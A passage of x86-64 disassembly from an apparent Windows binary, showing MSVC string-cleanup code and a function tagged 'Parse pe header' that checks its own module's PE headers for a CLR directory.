mov qword [rbp - 0x48], 8
mov rax, qword [rdx]
mov qword [rbp - 0x58], rax
mov byte [rbp - 0x50], 0
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
movzx edx, byte [rbp - 0x60]
mov rcx, rbx
call fcn.1400eeca0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14022e9e1
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022e9db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022e9db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14022ea1f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14022ea1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14022ea1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140238720
mov rax, rbx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rbp
ret
Function at 0x14023dd0c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14023dd56
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14023dd56
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14023dd56
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14023dd56
cmp dword [rcx + 0x84], 0xe
jbe 0x14023dd56
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14023dd58
xor al, al
add rsp, 0x28
ret